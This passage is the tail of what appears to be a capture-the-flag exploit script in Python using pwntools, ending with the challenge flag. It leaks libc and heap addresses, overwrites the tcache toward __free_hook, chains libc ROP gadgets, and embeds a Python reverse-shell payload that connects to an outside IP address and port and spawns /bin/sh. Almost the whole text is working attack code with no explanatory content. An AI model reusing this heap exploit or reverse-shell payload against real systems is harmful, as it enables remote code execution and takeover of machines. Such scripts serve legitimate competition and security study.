libc.address = leak - 0x9b156
print('libc: ', hex(libc.address))


req2(0x80 + 4, 1, b'A'*0x80)
for i in range(1): 
    req2(0x20 + 4, 1, b'A'*0x10)
r(0x100)
r(0x100)
req2(0x100, 0, b'YWFhYWFhYWFhYWFhYWFhCg==') # leak heap base
leak = r(8)
leak = int_from_bytes(leak)
print('leak: ', hex(leak))
heap_base = leak - 0xcc0
print('heap base: ', hex(heap_base))
req2(0x100 + 4 - 0x20, 1, b'A'*0xe0)
#overwrite tcache
payload = b'A'*0x10 + p64(0x25) + p64(libc.symbols['__free_hook'] - 0xbc) + p64(0x1111111111111111)*2 + p64(0x25)
payload += p64(heap_base + 0x1158) + p64(0xdeadbeef)*4 + p64(libc.address - 0xbd7bf40 - 0x80)
payload += p64(0xdeadebeef)
payload = payload.ljust(8*0x10)
b64 = base64.b64encode(payload)
print('payload: ', b64)
print('len: ', hex(len(b64)))
req2(len(b64) + 4, 0, b64)

MOV_RDI_PRBX = 0x000000000009e7f1 + libc.address#: mov rdi, qword ptr [rbx + 0x48] ; mov rsi, r14 ; call rax
MOV = 0x000000000010ce85 + libc.address#: mov rdi, qword ptr [rbx + 0x80] ; call qword ptr [rax + 0x88]
CALL_RAX = 0x0000000000146e72 + libc.address#: mov rax, qword ptr [rbx + 0x20] ; mov rdi, rbp ; call qword ptr [rax + 0x20]
MOV_RDX = 0x000000000010d18b + libc.address #: mov rdx, qword ptr [rax + 0xb0] ; call qword ptr [rax + 0x88]
MOV_RSP_RDX = 0x000000000005b4d0 + libc.address#: mov rsp, rdx ; ret
POP_RDI = 0x0000000000023b6a + libc.address#: pop rdi ; ret
SYSCALL = 0x000000000002284d + libc.address#: syscall
POP_RDX_R12 = 0x0000000000119431 + libc.address#: pop rdx ; pop r12 ; ret
POP_RSI = 0x000000000002601f + libc.address#: pop rsi ; ret


MOV_RSP_RDX = 0x000000000005b4d0 + libc.address#: mov rsp, rdx ; ret
shell = b"C"*0x80 +  b"/bin/python3\x00-c\x00socket=__import__(\"socket\");os=__import__(\"os\");pty=__import__(\"pty\");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"193.161.193.99\",26863));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")\x00" + b'\x00'*4
PYTHON3 = heap_base + 0x1070
C = PYTHON3 + 0xd
SOCKET = C + 3
ARG = heap_base + 0x1300
reverse_shell = ROP(libc)
reverse_shell.dup2(0x10, 0)
reverse_shell.dup2(0x10, 1)
reverse_shell.system(next(libc.search(b'/bin/sh\x00')))
                                                    # pivot here v
shell += p64(MOV_RDX)*0xb + p64(MOV_RSP_RDX)*0x7 + p64(heap_base + 0x12c0) + p64(MOV_RSP_RDX)*4 + p64(POP_RDI + 1)*0x12 + reverse_shell.chain() + flat(PYTHON3, C, SOCKET, 0) + p64(POP_RDI) + p64(0x20) + p64(libc.symbols['sleep']) + p64(0xcafebabe)*(0x10 - 7)
#shell += p64(MOV_RDX)*0xb + p64(MOV_RSP_RDX)*0x7 + p64(libc.address - 0xbd7c0e0 + 0x380) + p64(MOV_RSP_RDX)*4 + p64(POP_RDI + 1)*0x22 + p64(libc.symbols['system'])

#shell = b'B'*0x200
req2(len(shell) + 10, 1, shell)
print(hex(CALL_RAX))
pause()
payload = p64(CALL_RAX)*2
payload = payload[:-5]
b64 = base64.b64encode(payload)
print('len: ', hex(len(b64)))
req2(len(b64) + 4, 0, b64)

#KCSC{n0_way!_integer_ov3rfl0w_h3r3???}
p.interactive()
```
